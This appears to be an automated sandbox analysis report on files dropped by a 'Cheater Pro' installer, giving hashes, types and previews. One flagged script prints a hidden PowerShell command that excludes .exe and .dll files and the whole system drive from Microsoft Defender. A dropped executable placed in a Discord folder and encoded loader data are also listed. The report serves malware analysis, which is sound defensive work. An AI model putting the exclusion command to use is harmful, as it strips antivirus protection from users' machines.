SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI10F3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI1123.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI11D0.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919520
Entropy (8bit):	6.451406895673526
Encrypted:	false
SSDEEP:	24576:rx90VXSK4fSa6HXr1iWn8Zlv2x4ntHurpllQ6a:Nq4Fb6HXr1iWnYs4ntHurpllQ6a
MD5:	6189CDCB92AB9DDBFFD95FACD0B631FA
SHA1:	B74C72CEFCB5808E2C9AE4BA976FA916BA57190D
SHA-256:	519F7AC72BEBA9D5D7DCF71FCAC15546F5CFD3BCFC37A5129E63B4E0BE91A783
SHA-512:	EE9CE27628E7A07849CD9717609688CA4229D47579B69E3D3B5B2E7C2433369DE9557EF6A13FA59964F57FB213CD8CA205B35F5791EA126BDE5A4E00F6A11CAF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O...!S..!S..!S[."R..!S[.$R=.!S.%R..!S."R..!S.$R..!S[.%R..!S[. R..!S.. S..!S3.(R..!S3.!R..!S3..S..!S..S..!S3.#R..!SRich..!S........................PE..L...a<.a.........."!.....X...................p...............................@.......\|....@.........................`A..t....A.......0.......................@..L...(...p...............................@............p...............................text...nV.......X.................. ..`.rdata.......p.......\..............@..@.data...<....`.......@..............@....rsrc........0......................@..@.reloc..L....@......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI1200.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI123F.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI1379.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI43E0.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4420.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Pro270B.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.937735805475593
Encrypted:	false
SSDEEP:	12:ISt0RiY7GSd1VIk/ko+jLbdhFp+9wkvt0Ri9qVIk/ko+jLbdhFp+9wkv:nt0vndd/ko+3bdh5wt0gQ/ko+3bdh5m
MD5:	FA3F83871A37B5B904332F6AD851F38A
SHA1:	628A558BEF01966F79A309025A9BE0538D33A0C6
SHA-256:	2DEC36E29E4EDFA5A10FBB5019E6C974166960C18AFFF6F30161096A4FA1E173
SHA-512:	D5C4005898290CB74A645C300865D504785058FEE1B45F75B6E441250D7ADD4F235C96C543D3BA6C9E949BA52B4AA2C5C21827BB3024CFCD8FEB0D4649FFB8FA
Malicious:	false
Preview:	Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:5..+ & { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -Exclusio .....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:5..+ & { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -Exclusio .....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d15ftctv.lwe.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eij2ma32.1bj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fjvrh25e.zvt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ozvpcjvo.su5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vdh2daqj.bff.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2f2w0oh.2rx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\pss270A.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	5784
Entropy (8bit):	3.4920621874565785
Encrypted:	false
SSDEEP:	96:5wb5jTmmywV2BVrIovmkiGjxcj6BngOcvjb:5wbdTif/njVyvb
MD5:	FC1BB6C87FD1F08B534E52546561C53C
SHA1:	DB402C5C1025CF8D3E79DF7B868FD186243AA9D1
SHA-256:	A04750ED5F05B82B90F6B8EA3748BA246AF969757A5A4B74A0E25B186ADD520B
SHA-512:	5495F4AC3C8F42394A82540449526BB8DDD91ADF0A1A852A9E1F2D32A63858B966648B4099D9947D8AC68EE43824DACDA24C337C5B97733905E36C4921280E86
Malicious:	true
Preview:	..p.a.r.a.m.(..... . .[.a.l.i.a.s.(.".p.r.o.p.F.i.l.e.".).]. . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.O.u.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".p.r.o.p.S.e.p.".).]. . . . . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.m.s.i.P.r.o.p.K.V.S.e.p.a.r.a.t.o.r..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.F.i.l.e.".).]. . . . .[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. .[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.F.i.l.e.P.a.t.h..... .,.[.a.l.i.a.s.(.".s.c.r.i.p.t.A.r.g.s.F.i.l.e.".).].[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.f.a.l.s.e.).].[.s.t.r.i.n.g.]. .$.u.s.e.r.S.c.r.i.p.t.A.r.g.s.F.i.l.e.P.a.t.h..... .,.[.P.a.r.a.m.e.t.e.r.(.M.a.n.d.a.t.o.r.y.=.$.t.r.u.e.).]. . . . . . . . . . . . . . . . . . . . . . . . . . .[.s.t.r.i.n.g.]. .$.t.e.s.t.P.r.e.f.i.x..... .,.[.s.w.i.t.c.h.]. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\scr26F9.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	354
Entropy (8bit):	3.5299924240696643
Encrypted:	false
SSDEEP:	6:QJilMcRIW02qGNlGtulZ/x56FpwkDjkRH37cnlj+SEEg8ZzWY:QJGHRIWT3GtqZ/epdjkh37kCsZyY
MD5:	600BFA83AD3A937D36FB345A0CEE05A8
SHA1:	527CEFC6C6FCF5D67920546F2A7BEF0DB53D43BE
SHA-256:	FC1B5B652EE5E91939A8B7113280866DE2A31ADA0609C47FA3A2951CC96F5507
SHA-512:	CF313D2250FCD98EDBCB9C63C3D38AC3A35D7E2935E58BA69D8E488728D930230D05697C840CA82EE2C004E5F19CBA3612F324E0D0EF76720AE9B888E0CBF9BA
Malicious:	true
Preview:	..P.a.r.a.m.(.).........$.c.o.m.m.a.n.d. .=. .".&. .{. .&. .'.A.d.d.-.M.p.P.r.e.f.e.r.e.n.c.e.'. .-.E.x.c.l.u.s.i.o.n.E.x.t.e.n.s.i.o.n. .'...d.l.l.'.,. .'...e.x.e.'. .-.E.x.c.l.u.s.i.o.n.P.a.t.h. .$.e.n.v.:.S.y.s.t.e.m.D.r.i.v.e. .-.F.o.r.c.e. .}.".........p.o.w.e.r.s.h.e.l.l. .-.W.i.n.d.o.w.S.t.y.l.e. .h.i.d.d.e.n. .-.C.o.m.m.a.n.d. .$.c.o.m.m.a.n.d.

C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Download File

Process:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1085907457
Entropy (8bit):	0.17733056877391498
Encrypted:	false
SSDEEP:
MD5:	2B0840F9F6D49BCF242E101E6806E689
SHA1:	51B06461FCD0E7CA474E9B337454553E434934FC
SHA-256:	FF08DAD66C7F4B08F2C49CEF7AB1DEB3AA36B0588A3AE15D64648033B27C8DF4
SHA-512:	608CEBD0626626ED23693CFBC5C9E2299397E8D7C67D1700866CC5AF611ED545A1019EEEEF627CA9E7F519BDC9CD27863AA35FD4FF13836169B2DCDDDCC74083
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{e.................8...h.......V... ...`....@.. ....................................@..................................U..J....`...d.......................................................................... ............... ..H............text....6... ...8.................. ..`.rsrc....d...`...f...:..............@..@.reloc.............................@..B.................U......H..........`S......3...L.......l.......................................v~.... ....+.+.(....+.(....+....0..B.......+.+..+..o......s....+..+..+...o....(........~.... ....(....(...........................,,........(....b.....+.+.(....+.(....+.....0..........~.... ....8....8....~.... ....+`s......o....o......+2..o....t......o....~.... ....(....o....o....o.......o....-.....,...o......)(....+..~.... ....(.....o....(....(.......*(....8Z....8Y..........3.?r..........s..".....0..

C:\Users\user\Pictures\9E146BE9C76A4720BCDB53011B87BD06

Download File

Process:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1852
Entropy (8bit):	3.9447699107935046
Encrypted:	false
SSDEEP:	24:YtiuajwGWEx6iL5aVXQOqlyk/I1tEiZXr/F7Syk5Flr12E4nmoA4P7xeBVoC8ft:YttajQAsVXObYfrpIr0TDzkzoCs
MD5:	A5F45FB717074A3E08A9085BEF6A7A9B
SHA1:	5CB2EDA7C30695DE08D613CB38C79C727654EBBA
SHA-256:	A94CDFDF8631C937570FB5D54476095D35F1E752FC04AF6A5FBACF040E767622
SHA-512:	5E205E2118D691192FFABD68033373E37C7601BF1FEC87AC028A68D2C8F8475C1C5BF55DD346BD846BDDF3F06BEBFAAF5033A0894A8BC06F98BA63B0A9BFC9E4
Malicious:	false
Preview:	{"loader":"YjMsNWIsZDIsYmMsYmYsOTIsYzEsZGYsYWIsYjYsZDAsYmEsYmYsZDUsYzYsOWQsYjYsOTYsOTQsOGQsN2IsYTMsNjMsNTYsOTMsYjYsYzUsZDIsYzcsZGEsYzYsNjgsNzIsNTksYTEsNmYsNmYsNTMsYzAsZDEsYjgsYjMsZTAsYzIsYmQsY2YsODQsNzIsNjQsZWYsN2MsZTEsYjQsZTQsYTgsNTYsNmMsNjEsN2UsOTQsODEsODUsN2EsYjksYWMsOWEsZTQsYjgsYzIsNTMsODgsOGMsYjIsYjMsZDcsYzcsYmYsZTQsOGUsNTgsNjYsZTgsYmIsY2YsYjcsZGMsYjcsNTYsNmMsNjEsY2MsODUsYzksY2EsZDAsYmEsNWEsNzMsOTAsNjUsOTAsOWYsNmUsZDEsYmUsYzQsZGEsYzYsN2EsZDYsYzUsOWIsYjksZTYsY2MsZDIsYWYsOTksNmYsNTQsNTQsYjQsYzUsYzQsYzksZGEsY2IsNjgsNzIsNTksZDYsYTQsYmIsYTQsYjMsZTksNzgsNzIsOGQsYmMsYzMsY2IsYzcsNWEsN2UsOTQsOGIsOTksNmIsOTksYjMsOTksYTQsYjQsYmEsZDYsYzksY2EsYzYsYTksOWQsNWIsYWEsNjMsN2YsYWUs","tasks":"OTMsYjQsOTIsYWMsYjMsNTMsODgsOGMsODMsODYsOWQsODAsN2EsODksY2UsYTEsYjIsZGYsN2MsYTcsNmIsOTksYWIsYTgsYTYsYjEsYzQsOWQsODQsOTQsYmUsYWYsYTQsOWUsZTMsNzEsYjIsOTIsYzIsY2UsYmIsY2EsOTksYzEsYzksY2MsOTEsYTYsYmUsZDcsY2UsOWUsYmIsOTksNmYsNTQsNTQsYTcsYmEsY2YsYmEsYzQsYzgsYTcsYWMsYTEsOTIsN2QsNmYsNTMsOGYsZGMsYmMsOTYsY2MsYzgsYmIsODksOG

C:\Windows\Installer\6b20ed.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {959732BE-53D4-4D93-8FBD-66FB077C59F2}, Number of Words: 2, Subject: Cheater Pro, Author: Cheater Pro Inc., Name of Creating Application: Cheater Pro, Template: ;1033, Comments: This installer database contains the logic and data required to install Cheater Pro., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3033088
Entropy (8bit):	6.929154057835859
Encrypted:	false
SSDEEP:	49152:+KB9ib+ZKumZr1q4Fb6HXr1iWnYs4ntHurpllQ6atuxtZcTreUuyZD6lvVz9VWD3:qYKFFnWnkuxUTgvV/ql
MD5:	3E40AF38940B787932D356D0B7BF4B3D
SHA1:	5422AFE104A7F6A2B09FC6866F776DDF5645AC83
SHA-256:	A9C82EBF5E801A134BFB8B38A73138738A71C2CD7F255D886330277EB9E3C4B3
SHA-512:	CB323E74B017736E3421BD6AB46E3876D5BD412B1FB9D804BFE2119C9C8DD7850F76561AED89FEA93A14C7CDB6DC105B8D4656DF2B73227770CE93E85841451B
Malicious:	false
